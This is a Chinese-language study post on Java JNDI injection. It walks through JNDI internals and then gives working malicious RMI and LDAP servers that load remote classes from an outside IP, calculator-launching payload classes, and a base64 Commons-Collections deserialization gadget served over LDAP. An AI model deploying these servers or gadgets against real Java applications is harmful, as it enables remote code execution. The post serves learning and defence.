java JNDI 注入學習

高人于斯發表於2024-10-08

java JNDI 注入學習

Java Naming Directory Interface,Java命名和目錄介面,是SUN公司提供的一種標準的Java命名系統介面。透過呼叫JNDI的API應用程式可以定位資源和其他程式物件。JNDI可訪問的現有目錄及服務包括:JDBC(Java 資料庫連線)、LDAP(輕型目錄訪問協議)、RMI(遠端方法呼叫)、DNS(域名服務)、NIS(網路資訊服務)、CORBA(公共物件請求代理系統結構)

命名服務(Naming Server)

命名服務,簡單來說,就是一種透過名稱來查詢實際物件的服務。比如 RMI 協議,可以透過名稱來查詢並呼叫具體的遠端物件。又或者 DNS 協議,透過域名來查詢具體的IP地址。這些都可以叫做命名服務。

在命名服務中,有幾個重要的概念。

  • Bindings:表示一個名稱和對應物件的繫結關係,比如在在 DNS 中域名繫結到對應的 IP,在RMI中遠端物件繫結到對應的name,檔案系統中檔名繫結到對應的檔案。
  • Context:上下文,一個上下文中對應著一組名稱到物件的繫結關係,我們可以在指定上下文中查詢名稱對應的物件。比如在檔案系統中,一個目錄就是一個上下文,可以在該目錄中查詢檔案,其中子目錄也可以稱為子上下文 (SubContext)。
  • References:在一個實際的名稱服務中,有些物件可能無法直接儲存在系統內,這時它們便以引用的形式進行儲存,可以理解為 C/C++ 中的指標。引用中包含了獲取實際物件所需的資訊,甚至物件的實際狀態。比如檔案系統中實際根據名稱開啟的檔案是一個整數 fd (file descriptor),這就是一個引用,核心根據這個引用值去找到磁碟中的對應位置和讀寫偏移。

JNDI 程式碼示例

JNDI 介面主要分為下述 5 個包:

  • javax.naming:主要用於命名操作,它包含了命名服務的類和介面,該包定義了Context介面和InitialContext類,(包括了 javax.naming.Contextjavax.naming.InitialContext,分別是用於設定 jndi 環境變數和初始化上下文。)
  • javax.naming.directory:主要用於目錄操作,它定義了DirContext介面和InitialDir-Context類
  • javax.naming.event:在命名目錄伺服器中請求事件通知
  • javax.naming.ldap:提供LDAP服務支援
  • javax.naming.spi:允許動態插入不同實現,為不同命名目錄服務供應商的開發人員提供開發和實現的途徑,以便應用程式透過JNDI可以訪問相關服務

下面我們透過具體程式碼來看看JNDI是如何實現與各服務進行互動的。

JNDI_RMI

首先在本地起一個RMI服務

定義一個 hello.java 介面

package org.example;  
  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
  
public interface hello extends Remote {  
    public Object nihao() throws RemoteException,Exception;  
  
}

然後建立 RMIobj.java,(這裡直接把註冊中心和服務端寫在一起了)

package org.example;  
  
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
import java.rmi.Naming;  
import java.rmi.registry.LocateRegistry;  
  
public class RMIobj extends UnicastRemoteObject implements hello {  
  
    protected RMIobj() throws RemoteException {  
        super();  
    }  
  
    public void nihao() throws RemoteException, Exception {  
                System.out.println("hello word");  
    }  
    private void registry() throws Exception{  
        hello rmiobj=new RMIobj();  
        LocateRegistry.createRegistry(1099);  
        System.out.println("Server Start");  
        Naming.bind("Hello", rmiobj);  
    }  
    public static void main(String[] args) throws Exception {  
        new RMIobj().registry();  
    }  
}

然後透過 JNDI 介面呼叫遠端類,JNDI_RMI

package org.example;  
  
import javax.naming.Context;  
import javax.naming.InitialContext;  
import java.util.Hashtable;  
  
public class JNDI_RMI {  
    public static void main(String[] args) throws Exception {  
  
        //設定JNDI環境變數  
        Hashtable<String, String> env = new Hashtable<>();  
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");  
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");  
  
        //初始化上下文  
        Context initialContext = new InitialContext(env);  
  
        //呼叫遠端類  
        hello ihello = (hello) initialContext.lookup("Hello");  
        System.out.println(ihello.nihao());  
  
    }  
}

成功呼叫,

JNDI_DNS

以JDK內建的 DNS 目錄服務為例 (說實話不知道)

JNDI_DNS.java

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
 
public class JNDI_DNS {
    public static void main(String[] args) {
        Hashtable<String,String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://192.168.43.1");
 
        try {
            DirContext ctx = new InitialDirContext(env);
            Attributes res = ctx.getAttributes("goodapple.top", new String[] {"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
 
    }
}

JNDI的工作流程

透過JNDI成功地呼叫了RMI和DNS服務。那麼對於JNDI來講,它是如何識別我們呼叫的是何種服務呢?這就依賴於我們上面提到的Context(上下文)了。

初始化Context

//設定JNDI環境變數
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

//初始化上下文
Context initialContext = new InitialContext(env);

使用 hashtable 來設定屬性 INITIAL_CONTEXT_FACTORYPROVIDER_URL,其中 JNDI 正式透過 INITIAL_CONTEXT_FACTORY 屬性來識別呼叫的是何種服務,像這裡就是 com.sun.jndi.rmi.registry.RegistryContextFactory

接著屬性PROVIDER_URL設定為了"rmi://localhost:1099",這正是我們RMI服務的地址。JNDI透過該屬性來獲取服務的路徑,進而呼叫該服務。

最後向InitialContext類傳入我們設定的屬性值來初始化一個Context,於是我們就獲得了一個與RMI服務相關聯的上下文Context

當然,初始化Context的方法多種多樣,我們來看一下InitialContext類的建構函式

//構建一個預設的初始上下文
public InitialContext();
 
//構造一個初始上下文,並選擇不初始化它。
protected InitialContext(boolean lazy);
 
//使用提供的環境變數初始化上下文。
public InitialContext(Hashtable<?,?> environment);

所以我們還可以用如下方式來初始化一個Context

//設定JNDI環境變數
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");
 
//初始化上下文
InitialContext initialContext = new InitialContext();

透過Context與服務互動

和RMI類似,Context同樣透過以下五種方法來與被呼叫的服務進行互動

//將名稱繫結到物件
bind(Name name, Object obj)
 
//列舉在命名上下文中繫結的名稱以及繫結到它們的物件的類名
list(String name) 
 
//檢索命名物件
lookup(String name)
 
//將名稱重繫結到物件 
rebind(String name, Object obj) 
 
//取消繫結命名物件
unbind(String name) 

JNDI底層實現

上下文的初始化

獲取工廠類

我們透過JNDI來設定不同的上下文,就可以呼叫不同的服務。那麼JNDI介面是如何實現這一功能的呢?

InitalContext#InitalContext()中,透過我們傳入的HashTable進行init

繼續跟進

跟到了 getInitialEnvironment 方法,繼續跟進,

一路跟進到達 getInitialContext 方法。

這裡首先透過 getInitialContextFactoryBuilder() 初始化了一個 InitialContextFactoryBuilder 類。

如果該類為空,則將 className 設定為 _INITIAL_CONTEXT_FACTORY_ 屬性。這個屬性就是我們手動設定的RMI上下文工廠類 com.sun.jndi.rmi.registry.RegistryContextFactory

繼續向下

這裡透過loadClass()來動態載入我們設定的工廠類。最終呼叫的其實是RegistryContextFactory#getInitialContext()方法,透過我們的設定工廠類來初始化上下文Context。

現在我們知道了,JNDI是透過我們設定的_INITIAL_CONTEXT_FACTORY_工廠類來判斷將上下文初始化為何種型別,進而呼叫該型別上下文所對應的服務。呼叫鏈如下

獲取服務互動所需資源

現在JNDI知道了我們想要呼叫何種服務,那麼它又是如何知道服務地址以及獲取服務的各種資源的呢?我們接著上文,跟到RegistryContextFactory#getInitialContext()

這裡的var1就是我們設定的兩個環境變數,跟進getInitCtxURL()

JNDI透過我們設定的_PROVIDER_URL_環境變數來獲取服務的路徑,接著在URLToContext()方法中初始化了一個rmiURLContextFactory類,並根據服務路徑來獲取例項。

跟到rmiURLContextFactory#getUsingURL()

看到呼叫了 lookup() 方法。其實一直跟蹤就知道呼叫的是 RegistryContext#lookup() ,根據上述過程中獲取的資訊初始化了一個新的 RegistryContext

可見,在最終初始化的時候獲取了一系列RMI通訊過程中所需的資源,包括 RegistryImpl_Stub 類、pathport 等資訊。如下圖

JNDI在初始化上下文的時候獲取了與服務互動所需的各種資源,所以下一步就是透過獲取的資源和服務愉快地進行互動了。

各種呼叫鏈如下

JNDI動態協議轉換

上面兩個例子中,我們手動設定了屬性_INITIAL_CONTEXT_FACTORY__PROVIDER_URL_的值來對Context進行初始化。透過對Context的初始化,JNDI能夠識別我們想呼叫何種服務,以及服務的路徑。

但實際上,在 Context#lookup()方法的引數中,使用者可以指定自己的查詢協議。JNDI會透過使用者的輸入來動態的識別使用者要呼叫的服務以及路徑。來看下面的例子

import javax.naming.InitialContext;
 
public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
            String string = "rmi://localhost:1099/hello";
            InitialContext initialContext = new InitialContext();
            IHello ihello = (IHello) initialContext.lookup(string);
            System.out.println(ihello.sayHello("Feng"));
        }
}

執行結果:

可以看到,我們並沒有設定相應的環境變數來初始化Context,但是JNDI仍舊透過lookup()的引數識別出了我們要呼叫的服務以及路徑,這就是JNDI的動態協議轉換。

動態協議轉換的底層實現

首先從lookup()開始跟進

注意到其實我們不管呼叫的是lookup、bind或者是其他initalContext中的方法,都會呼叫getURLOrDefaultInitCtx()方法進行檢查。

跟進 getURLOrDefaultInitCtx() 方法,會透過 getURLScheme() 方法來獲取通訊協議,比如這裡獲取到的是 rmi 協議,然後跟據獲取到的協議,透過 NamingManager#getURLContext() 來呼叫 getURLObject() 方法

getURLObject 的時候會根據傳入進來的url去尋找對應的工廠,比如這裡的rmi,

ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
            Context.URL_PKG_PREFIXES, environment, nameCtx,
            "." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);

就是把schema和我們的URLContextFactory去拼接得到它的工廠,然後根據不同的工廠類對應著不同的getObjectInstance方法

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
        if (var1 == null) {
            return new rmiURLContext(var4);
        } else if (var1 instanceof String) {
            return getUsingURL((String)var1, var4);
        } else if (var1 instanceof String[]) {
            return getUsingURLs((String[])((String[])var1), var4);
        } else {
            throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
        }
    }

然後又會進入getUsingURL方法,在 getUsingURL 方法中會呼叫 lookup 方法,不過來到的是來到GenericURLContext (com.sun.jndi.toolkit.url)的lookup方法,

public Object lookup(String var1) throws NamingException {
        ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
        Context var3 = (Context)var2.getResolvedObj();

        Object var4;
        try {
            var4 = var3.lookup(var2.getRemainingName());
        } finally {
            var3.close();
        }

        return var4;
    }

然後再這個 lookup 方法中看到 var4 = var3.lookup(var2.getRemainingName()); 其實呼叫的就是RegistryContext的lookup,

public Object lookup(Name var1) throws NamingException {
        if (var1.isEmpty()) {
            return new RegistryContext(this);
        } else {
            Remote var2;
            try {
                var2 = this.registry.lookup(var1.get(0));
            } catch (NotBoundException var4) {
                throw new NameNotFoundException(var1.get(0));
            } catch (RemoteException var5) {
                throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
            }

            return this.decodeObject(var2, var1.getPrefix(1));
        }
    }

看到 return new RegistryContext(this); 不就是上面自己設定屬性進行上下文初始化最後的部分嗎,這裡繼續向下說,根跟進到 decodeObject 方法

private Object decodeObject(Remote var1, Name var2) throws NamingException {  
    try {  
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;  
        return NamingManager.getObjectInstance(var3, var2, this, this.environment);  
    } catch (NamingException var5) {  
        throw var5;  
    } catch (RemoteException var6) {  
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();  
    } catch (Exception var7) {  
        NamingException var4 = new NamingException();  
        var4.setRootCause(var7);  
        throw var4;  
    }  
}

看到會判斷 var1 (也就是 bind 繫結的物件)是不是 RemoteReference 的子類,是就執行 ((RemoteReference)var1).getReference() 來載入遠端遠端物件,不是就還是原來的類,然後執行
NamingManager.getObjectInstance(var3, var2, this, this.environment); 進行例項化。

繼續跟進 getObjectInstance 方法就知道會進行一個判斷,如果是遠端的就直接實列化,如果是本地的,會繼續呼叫本地工廠的getObjectInstance方法,後面可以形成繞過。

LDAP 的其實也差不多,只是中間過程肯定不是去呼叫 RegistryContextlookup 方法,它從 lookup 會呼叫其他的 lookup 方法,但是最後一直跟進也會到達 DirectoryManager#getObjectInstance 方法,最後進行實列化。

JNDI Reference類

Reference類表示對存在於命名/目錄系統以外的物件的引用。比如遠端獲取 RMI 服務上的物件是 Reference 類或者其子類,則在客戶端獲取到遠端物件存根例項時,可以從其他伺服器上載入class檔案來進行例項化。

當在本地找不到所呼叫的類時,我們可以透過Reference類來呼叫位於遠端伺服器的類。

Reference類常用建構函式如下:

//className為遠端載入時所使用的類名,如果本地找不到這個類名,就去遠端載入
//factory為工廠類名
//factoryLocation為工廠類載入的地址,可以是file://、ftp://、http:// 等協議
Reference(String className,  String factory, String factoryLocation) 

在RMI中,由於我們遠端載入的物件需要繼承UnicastRemoteObject類,所以這裡我們需要使用ReferenceWrapper類對Reference類或其子類物件進行遠端包裝成Remote類使其能夠被遠端訪問。

JNDI注入

透過以上例項可以清晰的看到看到,如果lookup()函式的訪問地址引數控制不當,則有可能導致載入遠端惡意類

JNDI介面可以呼叫多個含有遠端功能的服務,所以我們的攻擊方式也多種多樣。但流程大同小異,如下圖所示

JNDI 注入對 JAVA 版本有相應的限制,具體可利用版本如下:

協議 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

JNDI+RMI

在攻擊RMI服務的時候我們提到過透過遠端載入Codebase的方式來載入惡意的遠端類到伺服器上。和Codebase類似,我們也可以使用Reference類來從遠端載入惡意類。JDK版本為JDK8u_65,攻擊程式碼如下

RMI_Server.java

package org.example;  
  
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import javax.naming.Reference;  
import java.rmi.Naming;  
import java.rmi.registry.LocateRegistry;  
  
public class RMI_Server {  
    void register() throws Exception{  
        LocateRegistry.createRegistry(1099);  
        Reference reference = new Reference("RMI_POC","RMI_POC","http://106.53.212.184:6666/");  
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);  
        Naming.bind("hello",refObjWrapper);  
        System.out.println("START RUN");  
    }  
  
    public static void main(String[] args) throws Exception {  
        new RMI_Server().register();  
    }  
}

其中RMIHello為我們要遠端訪問的類,如下

RMI_POC

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
 
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
    public RMIHello() throws RemoteException {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
 
}

注意,RMIHello類需要繼承ObjectFactory類,並且建構函式需要為public

受害客戶端如下,我們將lookup()引數控制位我們惡意RMI服務的地址

RMI_CN.java

package org.example;  
  
import javax.naming.InitialContext;  
public class RMI_CN {  
    public static void main(String[]args) throws Exception{  
        String string = "rmi://localhost:1099/hello";  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup(string);  
    }  
}

我們搭建好惡意的RMI伺服器,並且在遠端伺服器上放置惡意類。客戶端成功呼叫並初始化我們遠端的惡意

啟動服務

1、將 HTTP 端惡意載荷 RMI_POC.java,編譯成 RMI_POC.class 檔案

javac RMI_POC.java

或者直接使用 idea 編譯也可以,感覺應該也不用移除。

2、在 RMI_POC.class 目錄下利用 Python 起一個臨時的 WEB 服務放置惡意載荷,這裡的埠必須要與 RMI_Server.java 的 Reference 裡面的連結埠一致

啟動服務端

啟動客戶端載入惡意類

看到成功彈出計算機。

JNDI+LDAP

LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,LDAP目錄和RMI登錄檔的區別在於是前者是目錄服務,並允許分配儲存物件的屬性。

也就是說,LDAP 「是一個協議」,約定了 Client 與 Server 之間的資訊互動格式、使用的埠號、認證方式等內容。而 「LDAP 協議的實現」,有著眾多版本,例如微軟的 Active Directory 是 LDAP 在 Windows 上的實現。AD 實現了 LDAP 所需的樹形資料庫、具體如何解析請求資料併到資料庫查詢然後返回結果等功能。再例如 OpenLDAP 是可以執行在 Linux 上的 LDAP 協議的開源實現。而我們平常說的 LDAP Server,一般指的是安裝並配置了 Active Directory、OpenLDAP 這些程式的伺服器。

更加具體參考:java LDAP

我們可以使用LDAP服務來儲存Java物件,如果我們此時能夠控制JNDI去訪問儲存在LDAP中的Java惡意物件,那麼就有可能達到攻擊的目的。LDAP能夠儲存的Java物件如下

  • Java 序列化
  • JNDI的References
  • Marshalled物件
  • Remote Location

首先下載LDAP依賴

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
    <scope>test</scope>
</dependency>

LDAP_Server.java

package org.example;  
  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
  
public class LDAP_Server {  
  
    private static final String LDAP_BASE = "dc=gaoren,dc=com";  
  
    public static void main ( String[] tmp_args ) {  
        String[] args=new String[]{"http://106.53.212.184:6666/#LDAP_POC"};  
        int port = 9999;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen", //$NON-NLS-1$  
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
  
        @Override  
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
        }  
  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
            e.addAttribute("javaClassName", "foo");  
            String cbstring = this.codebase.toString();  
            int refPos = cbstring.indexOf('#');  
            if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
            }  
            e.addAttribute("javaCodeBase", cbstring);  
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$  
            e.addAttribute("javaFactory", this.codebase.getRef());  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
    }  
}

LDAP_POC.java

import javax.naming.Context;  
import javax.naming.Name;  
import javax.naming.spi.ObjectFactory;  
import java.io.IOException;  
import java.util.Hashtable;  
  
public class LDAP_POC implements ObjectFactory {  
    public LDAP_POC() throws Exception{  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
  
    @Override  
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {  
        return null;  
    }  
}

LDAP_CN.java

package org.example;  
  
import javax.naming.InitialContext;  
  
public class LDAP_CN {  
    public static void main(String[]args) throws Exception{  
        String string = "ldap://localhost:9999/LDAP_POC";  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup(string);  
    }  
}

步驟和上面是一樣的,最後執行也是成功彈出計算機

JDK高版本限制

在我們利用Codebase攻擊RMI服務的時候,如果想要根據Codebase載入位於遠端伺服器的類時,java.rmi.server.useCodebaseOnly的值必須為false。但是從JDK 6u457u21開始,java.rmi.server.useCodebaseOnly 的預設值就是true

JNDI_RMI_Reference限制

JNDI同樣有類似的限制,在JDK 6u132, JDK 7u122, JDK 8u113之後Java限制了透過RMI遠端載入Reference工廠類。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的預設值變為了false,即預設不允許透過RMI從遠端的Codebase載入Reference工廠類。

JNDI_LDAP_Reference限制

JNDI不僅可以從透過RMI載入遠端的Reference工廠類,也可以透過LDAP協議載入遠端的Reference工廠類,但是在之後的版本Java也對LDAP Reference遠端載入Factory類進行了限制,在JDK 11.0.18u1917u2016u211之後 com.sun.jndi.ldap.object.trustURLCodebase屬性的預設值同樣被修改為了false,對應的CVE編號為:CVE-2018-3149

限制原始碼分析

JDK_8u65

在低版本JDK_8u65下,在RegistryContext#decodeObject()方法會直接呼叫到NamingManager#getObjectInstance(),進而呼叫getObjectFactoryFromReference()方法來獲取遠端工廠類。

JDK_8u241

同樣是在 RegistryContext#decodeObject() 方法,這裡增加了對型別以及 trustURLCodebase 的檢查,所以也就沒法載入遠端的 refrence 工廠類了。

繞過高版本限制

使用本地的Reference Factory類

8u191後已經預設不允許載入codebase中的遠端類,但我們可以從本地載入合適Reference Factory

需要注意是,該本地工廠類必須實現javax.naming.spi.ObjectFactory介面,因為在javax.naming.spi.NamingManager#getObjectFactoryFromReference最後的return語句對Factory類的例項物件進行了型別轉換,並且該工廠類至少存在一個getObjectInstance()方法。

Tomcat8

org.apache.naming.factory.BeanFactory就是滿足條件之一,並由於該類存在於Tomcat8依賴包中,攻擊面和成功率還是比較高的。

org.apache.naming.factory.BeanFactorygetObjectInstance() 中會透過反射的方式例項化Reference所指向的任意Bean Class,並且會呼叫setter方法為所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自於Reference物件,均是攻擊者可控的。

反序列化繞過

因為LDAP 還可以儲存序列化的資料,那麼如果LDAP儲存的某個物件的 javaSerializedData 值不為空,則客戶端會透過呼叫 obj.decodeObject() 對該屬性值內容進行反序列化。如果客戶端存在反序列化相關元件漏洞,則我們可以透過LDAP來傳輸惡意序列化物件。

惡意LDAP服務端

LDAP_BS.java

相較於原始的LDAP伺服器,我們只需要略微改動即可,將被儲存的類的屬性值 javaSerializeData 更改為序列化payload即可(之前的 ldap 儲存的屬性為其他的)

LDAP_BS.java

package org.example;  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.URL;  
import java.util.Base64;  
  
public class LDAP_BS {  
    private static final String LDAP_BASE = "dc=example,dc=com";  
  
    public static void main ( String[] tmp_args ) {  
        String[] args=new String[]{"http://127.0.0.1/#BS"};  
        int port = 9999;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen", //$NON-NLS-1$  
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
  
        @Override  
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
        }  
  
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {  
            e.addAttribute("javaClassName", "foo");  
            //getObject獲取Gadget  
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(            "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"  
            ));  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
    }  
}

然後客戶端進行呼叫

package org.example;  
  
import javax.naming.InitialContext;  
  
public class LDAP_CN {  
    public static void main(String[]args) throws Exception{  
        String string = "ldap://localhost:9999/BS";  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup(string);  
    }  
}

其反序列化的呼叫棧

看到其實就是 c_llokup 後面走得不一樣了,最後再 deserializeObject 中進行了反序列化。

參考:https://goodapple.top/archives/696

參考:https://xz.aliyun.com/t/15075

參考:https://xz.aliyun.com/t/12277

相關文章